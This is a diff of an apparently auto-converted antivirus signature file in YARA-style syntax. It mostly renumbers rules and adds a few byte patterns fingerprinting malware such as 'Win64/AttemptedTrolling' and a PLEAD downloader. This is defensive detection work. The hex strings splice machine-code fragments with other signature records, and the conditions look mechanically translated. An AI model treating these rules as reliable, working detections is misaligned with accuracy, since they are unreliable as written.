_InfrastructureShared_18090{ +rule _InfrastructureShared_19254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -218045,7 +232316,7 @@ rule _InfrastructureShared_18090{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*29537+(#a_75_2 & 1)*20584+(#a_5f_3 & 1)*28769) >=1 } -rule _InfrastructureShared_18091{ +rule _InfrastructureShared_19255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -218058,7 +232329,7 @@ rule _InfrastructureShared_18091{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_2 & 1)*110+(#a_01_3 & 1)*-28595) >=2 } -rule _InfrastructureShared_18092{ +rule _InfrastructureShared_19256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -218072,7 +232343,7 @@ rule _InfrastructureShared_18092{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28668+(#a_01_3 & 1)*-6134+(#a_00_4 & 1)*400+(#a_01_5 & 1)*912) >=5 } -rule _InfrastructureShared_18093{ +rule _InfrastructureShared_19257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0c 00 21 " @@ -218093,7 +232364,7 @@ rule _InfrastructureShared_18093{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_50_10 & 1)*0+(#a_61_11 & 1)*25972) >=6 } -rule _InfrastructureShared_18094{ +rule _InfrastructureShared_19258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -218109,7 +232380,7 @@ rule _InfrastructureShared_18094{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28265+(#a_61_2 & 1)*385+(#a_5c_3 & 1)*25959+(#a_01_4 & 1)*4352+(#a_01_5 & 1)*2560+(#a_61_6 & 1)*28530) >=7 } -rule _InfrastructureShared_18095{ +rule _InfrastructureShared_19259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0f 00 21 " @@ -218128,7 +232399,7 @@ rule _InfrastructureShared_18095{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*29816+(#a_73_2 & 1)*28985+(#a_00_4 & 1)*20600+(#a_41_6 & 1)*8448+(#a_4d_8 & 1)*11264+(#a_00_10 & 1)*97+(#a_36_11 & 1)*25143+(#a_00_13 & 1)*111+(#a_53_14 & 1)*14958) >=8 } -rule _InfrastructureShared_18096{ +rule _InfrastructureShared_19260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -218145,7 +232416,7 @@ rule _InfrastructureShared_18096{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_78_2 & 1)*21618+(#a_65_3 & 1)*30050+(#a_67_4 & 1)*25702+(#a_64_5 & 1)*26226+(#a_65_6 & 1)*24898+(#a_62_7 & 1)*25966) >=9 } -rule _InfrastructureShared_18097{ +rule _InfrastructureShared_19261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -218161,7 +232432,7 @@ rule _InfrastructureShared_18097{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26739+(#a_66_2 & 1)*29555+(#a_6c_4 & 1)*385+(#a_61_5 & 1)*25449+(#a_5c_6 & 1)*10241+(#a_2e_7 & 1)*29545) >=10 } -rule _InfrastructureShared_18098{ +rule _InfrastructureShared_19262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -218180,7 +232451,7 @@ rule _InfrastructureShared_18098{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25965+(#a_5c_2 & 1)*26485+(#a_6c_3 & 1)*385+(#a_65_4 & 1)*25973+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_50_9 & 1)*0) >=10 } -rule _InfrastructureShared_18099{ +rule _InfrastructureShared_19263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -218198,7 +232469,7 @@ rule _InfrastructureShared_18099{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*385+(#a_74_2 & 1)*26982+(#a_72_3 & 1)*25970+(#a_69_4 & 1)*30065+(#a_25_5 & 1)*25959+(#a_61_7 & 1)*23553+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_18100{ +rule _InfrastructureShared_19264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -218216,7 +232487,7 @@ rule _InfrastructureShared_18100{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28005+(#a_65_2 & 1)*26996+(#a_70_3 & 1)*29264+(#a_73_4 & 1)*28261+(#a_70_5 & 1)*25857+(#a_61_6 & 1)*29541+(#a_61_8 & 1)*25972+(#a_17_9 & 1)*10752) >=10 } -rule _InfrastructureShared_18101{ +rule _InfrastructureShared_19265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -218233,7 +232504,7 @@ rule _InfrastructureShared_18101{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*30313+(#a_65_2 & 1)*-32487+(#a_65_3 & 1)*28261+(#a_2e_4 & 1)*25966+(#a_00_6 & 1)*101+(#a_30_7 & 1)*0+(#a_2f_10 & 1)*6144) >=11 } -rule _InfrastructureShared_18102{ +rule _InfrastructureShared_19266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,24 00 24 00 0b 00 21 " @@ -218252,7 +232523,7 @@ rule _InfrastructureShared_18102{ ((#a_66_0 & 1)*21283+(#a_03_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_00_10 & 1)*0) >=36 } -rule _InfrastructureShared_18103{ +rule _InfrastructureShared_19267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -218262,7 +232533,7 @@ rule _InfrastructureShared_18103{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_18104{ +rule _InfrastructureShared_19268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -218276,7 +232547,7 @@ rule _InfrastructureShared_18104{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*8253+(#a_66_2 & 1)*25961+(#a_72_3 & 1)*12080+(#a_74_4 & 1)*28524) >=2 } -rule _InfrastructureShared_18105{ +rule _InfrastructureShared_19269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -218291,7 +232562,7 @@ rule _InfrastructureShared_18105{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*25888+(#a_6e_2 & 1)*8704+(#a_52_3 & 1)*27756+(#a_4c_4 & 1)*27756+(#a_02_5 & 1)*25971) >=2 } -rule _InfrastructureShared_18106{ +rule _InfrastructureShared_19270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0c 00 21 " @@ -218304,12 +232575,12 @@ rule _InfrastructureShared_18106{ $a_01_7 = {04 85 d2 0f 84 90 01 04 8b 45 90 1b 04 c1 e8 08 83 e0 0f 83 f8 05 90 18 83 f8 06 75 90 01 01 8b 45 90 1b 07 a9 00 00 80 00 90 00 00 00 78 51 01 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 45 58 43 5f 43 6c 6f 75 64 57 6f 72 6b 73 70 61 63 65 41 70 70 6c 69 63 61 74 69 6f 6e 00 01 00 42 01 53 00 61 00 6d 00 72 00 52 00 65 00 63 00 6f 00 6e 00 6e 00 61 00 69 00 73 00 73 00 61 00 6e 00 63 00 65 00 44 00 65 00 74 00 65 00 63 00 74 00 } //-31729 $a_00_8 = {50 00 72 00 6f 00 66 00 69 00 6c 00 65 00 01 00 18 01 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 41 63 74 69 76 69 74 79 49 64 01 00 7a 01 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 54 00 72 00 69 00 2e 00 43 00 6c 00 6f 00 75 00 64 00 2e 00 57 00 6f 00 72 00 6b 00 73 00 70 00 61 00 63 00 65 00 41 00 70 00 70 00 6c 00 69 00 } //111 $a_00_9 = {74 00 69 00 6f 00 6e 00 2e 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 6f 00 72 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 2e 00 65 00 78 00 65 00 01 00 40 01 41 00 7a 00 75 00 72 00 65 00 20 00 41 00 64 00 76 00 61 00 6e 00 63 00 65 00 64 00 20 00 54 00 68 00 72 00 65 00 61 00 74 00 20 } //99 - $a_00_11 = {65 00 63 00 74 00 69 00 6f 00 6e 00 00 00 78 51 01 00 03 00 03 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 50 4c 45 41 44 5f 44 6f 77 6e 6c 6f 61 64 65 72 5f 4a 75 6e 31 38 5f 31 00 01 00 2e 03 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d } //111 + $a_00_11 = {65 00 63 00 74 00 69 00 6f 00 6e 00 00 00 78 51 01 00 03 00 03 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 41 74 74 65 6d 70 74 65 64 54 72 6f 6c 6c 69 6e 67 2e 43 00 01 00 2e 03 53 56 57 0f b7 01 0f b7 1a 66 3b c3 75 90 01 01 66 85 c0 74 90 01 01 48 83 c1 02 48 83 c2 02 eb e6 33 c0 eb 05 b8 90 01 04 5f 5e 5b 90 00 01 00 3b 01 8f 45 f8 48 89 45 } //111 condition: ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*17409+(#a_74_2 & 1)*29801+(#a_18_3 & 1)*-414+(#a_90_5 & 1)*-30302+(#a_01_7 & 1)*-31729+(#a_00_8 & 1)*111+(#a_00_9 & 1)*99+(#a_00_11 & 1)*111) >=2 } -rule _InfrastructureShared_18107{ +rule _InfrastructureShared_19271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -218321,7 +232592,7 @@ rule _InfrastructureShared_18107{ ((#a_46_0 & 1)*16675+(#a_3c_1 & 1)*4098+(#a_3d_2 & 1)*7056) >=3 } -rule _InfrastructureShared_18108{ +rule _InfrastructureShared_19272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -218333,7 +232604,20 @@ rule _InfrastructureShared_18108{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_00_2 & 1)*99) >=3 } -rule _InfrastructureShared_18109{ +rule _InfrastructureShared_19273{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_4c_0 = {57 69 6e 36 34 2f 41 74 74 65 6d 70 74 65 64 54 72 6f 6c 6c 69 6e 67 2e 43 00 01 00 2e 03 53 56 57 0f b7 01 0f b7 1a 66 3b c3 75 90 01 01 66 85 c0 74 90 01 01 48 83 c1 02 48 83 c2 02 eb e6 33 c0 eb 05 b8 90 } //21539 + $a_5e_1 = {90 00 01 00 3b 01 8f 45 f8 48 89 45 f0 48 89 4d e8 48 89 55 e0 4c 89 45 d8 4c 89 4d d0 4c 89 55 c8 4c 89 5d c0 48 89 5d b8 48 89 75 b0 48 89 7d a8 4c 89 65 a0 4c 89 6d 98 4c 89 75 90 4c 89 7d 88 01 00 68 03 48 8b 3f 49 8b f2 48 c7 c1 0c 00 00 00 fc f3 a4 48 8b 4d d8 48 8b 49 08 48 89 } //1025 + $a_ff_2 = {90 01 07 48 8b 1b 48 8b 13 48 83 fa 00 74 90 01 01 48 8b 8d 78 ff ff ff e8 90 01 04 83 f8 00 74 90 01 01 48 83 c3 08 eb 90 01 01 b8 22 00 00 c0 eb 90 01 01 48 8b 4d e8 48 8b 55 e0 4c 8b 45 d8 4c 8b 4d d0 48 83 ec 90 00 01 00 48 01 4d 8b 1b 49 8b f3 48 c7 c1 0c 00 00 00 fc f3 a4 48 8b 45 80 4c 8b 7d 88 4c 8b 75 90 4c 8b 6d 98 4c 8b 65 a0 48 8b 7d a8 48 8b 75 b0 48 8b 5d b8 4c 8b 5d c0 4c 8b 55 c8 4c 8b 4d d0 4c 8b 45 d8 48 8b 55 e0 48 8b 4d e8 00 00 78 51 01 00 03 00 03 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 50 4c 45 41 44 5f 44 6f 77 6e 6c 6f 61 64 65 72 5f 4a 75 6e 31 38 5f 31 00 01 00 2e 03 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 } //30861 + $a_00_3 = {01 00 2e 03 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 3d 03 31 31 31 31 25 30 32 64 25 30 32 64 25 30 32 64 5f 25 30 32 64 25 30 32 64 32 32 32 32 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 36 03 53 00 63 00 61 00 6e 00 6e 00 69 00 6e 00 67 00 2e 00 2e 00 2e 00 90 2c 01 } //14637 + condition: + ((#a_4c_0 & 1)*21539+(#a_5e_1 & 1)*1025+(#a_ff_2 & 1)*30861+(#a_00_3 & 1)*14637) >=3 + +} +rule _InfrastructureShared_19274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -218347,7 +232631,7 @@ rule _InfrastructureShared_18109{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_32_2 & 1)*9517+(#a_64_3 & 1)*12325+(#a_00_4 & 1)*99) >=3 } -rule _InfrastructureShared_18110{ +rule _InfrastructureShared_19275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -218360,7 +232644,7 @@ rule _InfrastructureShared_18110{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16697+(#a_00_2 & 1)*116+(#a_09_3 & 1)*31277) >=4 } -rule _InfrastructureShared_18111{ +rule _InfrastructureShared_19276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -218373,7 +232657,7 @@ rule _InfrastructureShared_18111{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29537+(#a_48_2 & 1)*9284+(#a_4c_3 & 1)*18464) >=4 } -rule _InfrastructureShared_18112{ +rule _InfrastructureShared_19277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -218386,7 +232670,7 @@ rule _InfrastructureShared_18112{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*15647+(#a_6e_2 & 1)*22330+(#a_01_3 & 1)*5631) >=4 } -rule _InfrastructureShared_18113{ +rule _InfrastructureShared_19278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -218399,7 +232683,7 @@ rule _InfrastructureShared_18113{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-1+(#a_90_2 & 1)*-254+(#a_d2_3 & 1)*-16245) >=4 } -rule _InfrastructureShared_18114{ +rule _InfrastructureShared_19279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -218415,7 +232699,7 @@ rule _InfrastructureShared_18114{ ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*400+(#a_01_2 & 1)*9348+(#a_02_4 & 1)*-28636+(#a_e8_5 & 1)*3209+(#a_00_6 & 1)*28271+(#a_54_7 & 1)*25927) >=4 } -rule _InfrastructureShared_18115{ +rule _InfrastructureShared_19280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -218428,7 +232712,7 @@ rule _InfrastructureShared_18115{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_00_3 & 1)*32+(#a_00_4 & 1)*101) >=5 } -rule _InfrastructureShared_18116{ +rule _InfrastructureShared_19281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -218441,7 +232725,7 @@ rule _InfrastructureShared_18116{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*109+(#a_33_3 & 1)*11619+(#a_4d_4 & 1)*29295) >=5 } -rule _InfrastructureShared_18117{ +rule _InfrastructureShared_19282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0d 00 21 " @@ -218460,7 +232744,7 @@ rule _InfrastructureShared_18117{ ((#a_46_0 & 1)*16675+(#a_63_2 & 1)*26691+(#a_65_3 & 1)*26984+(#a_49_4 & 1)*4608+(#a_67_5 & 1)*25189+(#a_54_6 & 1)*11264+(#a_00_8 & 1)*115+(#a_48_10 & 1)*-2151+(#a_35_11 & 1)*13620+(#a_46_12 & 1)*17208) >=6 } -rule _InfrastructureShared_18118{ +rule _InfrastructureShared_19283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -218474,7 +232758,7 @@ rule _InfrastructureShared_18118{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*121+(#a_90_2 & 1)*-29880+(#a_01_3 & 1)*31813+(#a_01_4 & 1)*16384) >=7 } -rule _InfrastructureShared_18119{ +rule _InfrastructureShared_19284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -218490,7 +232774,7 @@ rule _InfrastructureShared_18119{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*13377+(#a_38_2 & 1)*13894+(#a_42_3 & 1)*17475+(#a_36_4 & 1)*11621+(#a_00_5 & 1)*26724+(#a_2f_6 & 1)*28261) >=7 } -rule _InfrastructureShared_18120{ +rule _InfrastructureShared_19285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0b 00 21 " @@ -218508,7 +232792,7 @@ rule _InfrastructureShared_18120{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*12636+(#a_43_2 & 1)*26992+(#a_61_3 & 1)*20+(#a_43_5 & 1)*26992+(#a_44_6 & 1)*30825+(#a_32_7 & 1)*19021+(#a_36_9 & 1)*9217+(#a_76_10 & 1)*18689) >=7 } -rule _InfrastructureShared_18121{ +rule _InfrastructureShared_19286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -218525,7 +232809,7 @@ rule _InfrastructureShared_18121{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28425+(#a_4d_2 & 1)*25441+(#a_69_3 & 1)*14930+(#a_68_4 & 1)*25198+(#a_61_5 & 1)*31080+(#a_61_6 & 1)*28523+(#a_31_7 & 1)*14385) >=8 } -rule _InfrastructureShared_18122{ +rule _InfrastructureShared_19287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -218540,7 +232824,7 @@ rule _InfrastructureShared_18122{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3584+(#a_6b_2 & 1)*29286+(#a_52_5 & 1)*21320+(#a_39_6 & 1)*12590+(#a_69_7 & 1)*28009) >=8 } -rule _InfrastructureShared_18123{ +rule _InfrastructureShared_19288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -218556,7 +232840,7 @@ rule _InfrastructureShared_18123{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*14385+(#a_76_2 & 1)*27510+(#a_2e_3 & 1)*656+(#a_69_4 & 1)*29285+(#a_00_6 & 1)*107+(#a_00_8 & 1)*69) >=8 } -rule _InfrastructureShared_18124{ +rule _InfrastructureShared_19289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -218571,7 +232855,7 @@ rule _InfrastructureShared_18124{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*110+(#a_0b_2 & 1)*400+(#a_00_3 & 1)*121+(#a_01_4 & 1)*30720+(#a_cb_5 & 1)*-15869) >=10 } -rule _InfrastructureShared_18125{ +rule _InfrastructureShared_19290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -218587,7 +232871,7 @@ rule _InfrastructureShared_18125{ ((#a_54_0 & 1)*18467+(#a_8a_1 & 1)*-1+(#a_15_2 & 1)*1025+(#a_00_3 & 1)*83+(#a_00_4 & 1)*28007+(#a_66_5 & 1)*31489+(#a_00_6 & 1)*25964) >=10 } -rule _InfrastructureShared_18126{ +rule _InfrastructureShared_19291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -218605,7 +232889,7 @@ rule _InfrastructureShared_18126{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_01_2 & 1)*26479+(#a_01_3 & 1)*1+(#a_51_4 & 1)*0+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1) >=18 } -rule _InfrastructureShared_18127{ +rule _InfrastructureShared_19292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -218631,7 +232915,7 @@ rule _InfrastructureShared_18127{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*27137+(#a_01_2 & 1)*4096+(#a_23_4 & 1)*12+(#a_54_5 & 1)*8505+(#a_68_6 & 1)*28773+(#a_01_7 & 1)*24946+(#a_00_9 & 1)*46+(#a_69_10 & 1)*14958+(#a_63_11 & 1)*26723+(#a_53_12 & 1)*25927+(#a_01_13 & 1)*30720+(#a_65_14 & 1)*28493+(#a_6a_15 & 1)*28003+(#a_01_16 & 1)*3584+(#a_63_17 & 1)*29264+(#a_01_18 & 1)*-15488) >=19 } -rule _InfrastructureShared_18128{ +rule _InfrastructureShared_19293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0c 00 21 " @@ -218652,7 +232936,7 @@ rule _InfrastructureShared_18128{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*17266+(#a_61_2 & 1)*29249+(#a_37_3 & 1)*25443+(#a_36_4 & 1)*13876+(#a_31_5 & 1)*29285+(#a_33_6 & 1)*13357+(#a_61_7 & 1)*28245+(#a_53_8 & 1)*19529+(#a_61_9 & 1)*11891+(#a_05_10 & 1)*30317+(#a_79_11 & 1)*26467) >=21 } -rule _InfrastructureShared_18129{ +rule _InfrastructureShared_19294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2e 00 2e 00 0b 00 21 " @@ -218671,7 +232955,7 @@ rule _InfrastructureShared_18129{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*17968+(#a_2e_2 & 1)*30583+(#a_74_3 & 1)*24948+(#a_00_5 & 1)*56+(#a_6f_6 & 1)*28792+(#a_74_7 & 1)*12913+(#a_6e_8 & 1)*27754+(#a_6a_9 & 1)*384+(#a_2f_10 & 1)*13166) >=46 } -rule _InfrastructureShared_18130{ +rule _InfrastructureShared_19295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,38 00 38 00 07 00 21 " @@ -218687,7 +232971,7 @@ rule _InfrastructureShared_18130{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*384+(#a_63_2 & 1)*27256+(#a_63_3 & 1)*14642+(#a_01_4 & 1)*3584+(#a_01_5 & 1)*21896+(#a_41_6 & 1)*29801) >=56 } -rule _InfrastructureShared_18131{ +rule _InfrastructureShared_19296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffcd 00 67 00 07 00 21 " @@ -218702,7 +232986,7 @@ rule _InfrastructureShared_18131{ ((#a_46_0 & 1)*21283+(#a_6f_1 & 1)*20581+(#a_88_2 & 1)*400+(#a_d8_3 & 1)*257+(#a_6f_4 & 1)*28257+(#a_00_5 & 1)*48) >=103 } -rule _InfrastructureShared_18132{ +rule _InfrastructureShared_19297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffffa 00 fffffffa 00 05 00 21 " @@ -218714,7 +232998,7 @@ rule _InfrastructureShared_18132{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*61+(#a_00_4 & 1)*54) >=250 } -rule _InfrastructureShared_18133{ +rule _InfrastructureShared_19298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -218730,7 +233014,7 @@ rule _InfrastructureShared_18133{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1793+(#a_0a_2 & 1)*2050+(#a_90_3 & 1)*2+(#a_01_4 & 1)*514+(#a_06_5 & 1)*834+(#a_d7_6 & 1)*-29375) >=1 } -rule _InfrastructureShared_18134{ +rule _InfrastructureShared_19299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -218741,7 +233025,7 @@ rule _InfrastructureShared_18134{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-30362) >=2 } -rule _InfrastructureShared_18135{ +rule _InfrastructureShared_19300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -218758,7 +233042,7 @@ rule _InfrastructureShared_18135{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*29793+(#a_36_3 & 1)*13357+(#a_6e_4 & 1)*25449+(#a_00_5 & 1)*29285+(#a_00_7 & 1)*115+(#a_09_8 & 1)*11408+(#a_2d_9 & 1)*14637) >=3 } -rule _InfrastructureShared_18136{ +rule _InfrastructureShared_19301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -218771,7 +233055,7 @@ rule _InfrastructureShared_18136{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_41_2 & 1)*11568+(#a_00_3 & 1)*105) >=4 } -rule _InfrastructureShared_18137{ +rule _InfrastructureShared_19302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -218784,7 +233068,7 @@ rule _InfrastructureShared_18137{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*26444+(#a_46_2 & 1)*25454+(#a_2e_3 & 1)*11879) >=4 } -rule _InfrastructureShared_18138{ +rule _InfrastructureShared_19303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -218796,7 +233080,7 @@ rule _InfrastructureShared_18138{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*99+(#a_00_3 & 1)*114) >=4 } -rule _InfrastructureShared_18139{ +rule _InfrastructureShared_19304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -218809,7 +233093,7 @@ rule _InfrastructureShared_18139{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_00_3 & 1)*116+(#a_00_5 & 1)*46) >=4 } -rule _InfrastructureShared_18140{ +rule _InfrastructureShared_19305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -218823,7 +233107,7 @@ rule _InfrastructureShared_18140{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_09_2 & 1)*11408+(#a_2d_3 & 1)*14637+(#a_61_4 & 1)*11585) >=5 } -rule _InfrastructureShared_18141{ +rule _InfrastructureShared_19306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -218839,7 +233123,7 @@ rule _InfrastructureShared_18141{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*385+(#a_3d_2 & 1)*12146+(#a_00_3 & 1)*21112+(#a_48_5 & 